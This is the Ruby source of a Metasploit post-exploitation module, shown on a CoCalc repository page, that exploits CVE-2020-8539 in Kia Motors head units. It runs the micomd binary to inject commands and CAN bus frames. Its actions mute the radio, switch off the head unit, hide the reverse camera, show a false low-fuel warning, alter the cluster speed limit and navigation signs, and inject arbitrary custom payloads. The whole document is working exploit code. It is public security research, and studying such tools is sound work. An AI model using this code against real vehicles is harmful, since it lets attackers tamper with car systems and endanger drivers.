CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/android/local/koffee.rb
Views: 1904
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'KOFFEE - Kia OFFensivE Exploit',
15
'Description' => %q{
16
This module exploits CVE-2020-8539, which is an arbitrary code execution vulnerability that allows an to
17
attacker execute the micomd binary file on the head unit of Kia Motors. This module has been tested on
18
SOP.003.30.18.0703, SOP.005.7.181019 and SOP.007.1.191209 head unit software versions. This module, run on an
19
active session, allows an attacker to send crafted micomd commands that allow the attacker to control the head
20
unit and send CAN bus frames into the Multimedia CAN (M-Can) of the vehicle.
21
},
22
'SessionTypes' => ['meterpreter'],
23
'Author' => [
24
'Gianpiero Costantino',
25
'Ilaria Matteucci'
26
],
27
'References' => [
28
['CVE', '2020-8539'],
29
['URL', 'https://sowhat.iit.cnr.it/pdf/IIT-20-2020.pdf']
30
],
31
'Actions' => [
32
[ 'TOGGLE_RADIO_MUTE', { 'Description' => 'It mutes/umutes the radio' } ],
33
[ 'REDUCE_RADIO_VOLUME', { 'Description' => 'It decreases the radio volume' } ],
34
[ 'MAX_RADIO_VOLUME', { 'Description' => 'It sets the radio volume to the max' } ],
35
[ 'LOW_SCREEN_BRIGHTNESS', { 'Description' => 'It decreases the head unit screen brightness' } ],
36
[ 'HIGH_SCREEN_BRIGHTNESS', { 'Description' => 'It increases the head unit screen brightness' } ],
37
[ 'LOW_FUEL_WARNING', { 'Description' => 'It pops up a low fuel message on the head unit' } ],
38
[ 'NAVIGATION_FULL_SCREEN', { 'Description' => 'It pops up the navigation app window' } ],
39
[ 'SET_NAVIGATION_ADDRESS', { 'Description' => 'It pops up the navigation address window' } ],
40
[ 'SEEK_DOWN_SEARCH', { 'Description' => 'It triggers the seek down radio frequency search' } ],
41
[ 'SEEK_UP_SEARCH', { 'Description' => 'It triggers the seek up radio frequency search' } ],
42
[ 'SWITCH_ON_HU', { 'Description' => 'It switches on the head unit' } ],
43
[ 'SWITCH_OFF_HU', { 'Description' => 'It switches off the head unit' } ],
44
[ 'CAMERA_REVERSE_ON', { 'Description' => 'It shows the parking camera video stream' } ],
45
[ 'CAMERA_REVERSE_OFF', { 'Description' => 'It hides the parking camera video stream' } ],
46
[ 'CLUSTER_CHANGE_LANGUAGE', { 'Description' => 'It changes the cluster language' } ],
47
[ 'CLUSTER_SPEED_LIMIT', { 'Description' => 'It changes the speed limit shown in the instrument cluster' } ],
48
[ 'CLUSTER_ROUNDABOUT_FARAWAY', { 'Description' => 'It shows a round about signal with variable distance in the instrument cluster ' } ],
49
[ 'CLUSTER_RANDOM_NAVIGATION', { 'Description' => 'It shows navigation signals in the instrument cluster ' } ],
50
[ 'CLUSTER_RADIO_INFO', { 'Description' => 'It shows radio info in the instrument cluster ' } ],
51
[ 'INJECT_CUSTOM', { 'Description' => 'It injects custom micom payloads' } ]
52
],
53
'DefaultAction' => 'TOGGLE_RADIO_MUTE',
54
'Platform' => 'Android',
55
'DisclosureDate' => '2020-12-02',
56
'License' => MSF_LICENSE,
57
'Notes' => {
58
'Stability' => [CRASH_SAFE],
59
'SideEffects' => [SCREEN_EFFECTS, CONFIG_CHANGES, IOC_IN_LOGS],
60
'Reliability' => []
61
}
62
)
63
)
64
register_options([
65
OptString.new('MICOMD', [true, 'Path to micomd executable', '/system/bin/micomd']),
66
OptString.new('PERIOD', [true, 'Time (ms) interval between two MICOM commands, aka Period of CAN frames', '0.200']),
67
OptInt.new('NUM_MSG', [true, 'Number of MICOM commands sent each time', '5']),
68
OptString.new('CMD_PAYLOAD', [ false, 'Micom payload to inject, e.g., cmd byte1 byte3 byte2', '00 00 00'], conditions: %w[ACTION == INJECT_CUSTOM]),
69
])
70
end
71
72
def send_in(m_cmd)
73
cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"
74
cmd_exec(cmd)
75
print_good(' -- Command Sent -- ')
76
end
77
78
def send_out(m_cmd)
79
cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"
80
cmd_exec(cmd)
81
print_good(' -- Command Sent -- ')
82
end
83
84
def send_custom(m_cmd)
85
cmd = "#{datastore['MICOMD']} -c inject #{m_cmd}"
86
var = 0
87
while var < datastore['NUM_MSG'].to_s.to_i
88
cmd_exec(cmd)
89
var += 1
90
print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")
91
sleep(datastore['PERIOD'].to_s.to_f)
92
end
93
print_good(' -- Custom payload Sent-- ')
94
end
95
96
def send_out_custom(m_cmd)
97
cmd = "#{datastore['MICOMD']} -c inject-outgoing #{m_cmd}"
98
var = 0
99
while var < datastore['Num_msg'].to_s.to_i
100
cmd_exec(cmd)
101
var += 1
102
print_status("> Sending #{var} out of #{datastore['NUM_MSG']}")
103
sleep(datastore['PERIOD'].to_s.to_f)
104
end
105
print_good(' -- CAN bus frames sent-- ')
106
end
107
108
def run
109
# all conditional options are required when active, make sure none of them are blank
110
options.each_pair do |name, option|
111
next if option.conditions.empty?
112
next unless Msf::OptCondition.show_option(self, option)
113
114
fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
115
end
116
print_status(' -- Starting action -- ')
117
send("action_#{action.name.downcase}")
118
end
119
120
def action_toggle_radio_mute
121
print_status(' -- Mute/umute radio -- ')
122
send_in('8351 04')
123
end
124
125
def action_reduce_radio_volume
126
print_status(' -- Reduce radio volume -- ')
127
send_out('0112 F4 01')
128
end
129
130
def action_max_radio_volume
131
print_status(' -- Max radio volume -- ')
132
send_out('0112 F0')
133
end
134
135
def action_low_screen_brightness
136
print_status(' -- Low screen brightness -- ')
137
send_in('8353 07 01')
138
end
139
140
def action_high_screen_brightness
141
print_status(' -- High screen brightness -- ')
142
send_in('8353 07 00')
143
end
144
145
def action_low_fuel_warning
146
print_status(' -- Low fuel warning -- ')
147
send_in('8353 0B 01')
148
end
149
150
def action_navigation_full_screen
151
print_status(' -- Navigation windows full screen -- ')
152
send_in('8353 0C 01')
153
end
154
155
def action_set_navigation_address
156
print_status(' -- Navigation address window pops up -- ')
157
send_in('8353 0D 03')
158
end
159
160
def action_seek_down_search
161
print_status(' -- Seek down radio search -- ')
162
send_out('133 01')
163
end
164
165
def action_seek_up_search
166
print_status(' -- Seek up radio search -- ')
167
send_out('133 02')
168
end
169
170
def action_switch_on_hu
171
print_status(' -- Switch on Head unit -- ')
172
send_out('170 01')
173
end
174
175
def action_switch_off_hu
176
print_status(' -- Switch off Head unit -- ')
177
send_out('170 00')
178
end
179
180
def action_camera_reverse_on
181
print_status(' -- Parking camera video stream on -- ')
182
send_in('8353 03 01')
183
end
184
185
def action_camera_reverse_off
186
print_status(' -- Parking camera video stream off -- ')
187
send_in('8353 03 00')
188
end
189
190
def action_cluster_change_language
191
print_status(' -- Korean -- ')
192
send_out_custom('4D3 01')
193
print_status(' -- Arabic -- ')
194
send_out_custom('4D3 08')
195
print_status(' -- Polish -- ')
196
send_out_custom('4D3 0E')
197
print_status(' -- Italian -- ')
198
send_out_custom('4D3 12')
199
end
200
201
def action_cluster_speed_limit
202
print_status(' -- Chaning speed limit on the instrument cluster -- ')
203
send_out_custom('4DB 00 0A')
204
send_out_custom('4DB 00 2A')
205
send_out_custom('4DB 00 3A')
206
send_out_custom('4DB 00 5A')
207
send_out_custom('4DB 00 7A')
208
send_out_custom('4DB 00 9A')
209
send_out_custom('4DB 00 AA')
210
send_out_custom('4DB 00 BA')
211
end
212
213
def action_cluster_roundabout_faraway
214
print_status(' -- km -- ')
215
send_out_custom('4D1 66 00 00 00 14 86 10 00')
216
print_status(' -- mi -- ')
217
send_out_custom('4D1 66 00 00 00 14 86 20 00')
218
print_status(' -- ft -- ')
219
send_out_custom('4D1 66 00 00 00 14 86 30 00')
220
print_status(' -- yd -- ')
221
send_out_custom('4D1 66 00 00 00 14 86 40 00')
222
print_status(' -- No distance -- ')
223
send_out_custom('4D1 66 00 00 00 14 86 50 00')
224
end
225
226
def action_cluster_random_navigation
227
print_status(' -- Calculating the route -- ')
228
send_out_custom('4D1 09')
229
print_status(' -- Recalculating the route -- ')
230
send_out_custom('4D1 0A')
231
print_status(' -- Straight ahead -- ')
232
send_out_custom('4D1 0D')
233
print_status(' -- Exit on the Right -- ')
234
send_out_custom('4D1 13')
235
print_status(' -- Exit on the Left -- ')
236
send_out_custom('4D1 14')
237
end
238
239
def action_cluster_radio_info
240
print_status(' -- USB Music -- ')
241
send_out_custom('4D6 65')
242
print_status(' -- Android Auto -- ')
243
send_out_custom('4D6 6F')
244
print_status(' -- FM 168.17 -- ')
245
send_out_custom('4D6 11 9D 00 00 00 00 5F 83')
246
print_status(' -- FM1 168.17 -- ')
247
send_out_custom('4D6 12 9D 00 00 00 00 5F 83')
248
print_status(' -- FM2 168.17 -- ')
249
send_out_custom('4D6 13 9D 00 00 00 00 5F 83')
250
end
251
252
def action_inject_custom
253
print_status(" -- Injecting custom payload (#{datastore['CMD_PAYLOAD']}) -- ")
254
send_custom(datastore['CMD_PAYLOAD'])
255
end
256
end
257
258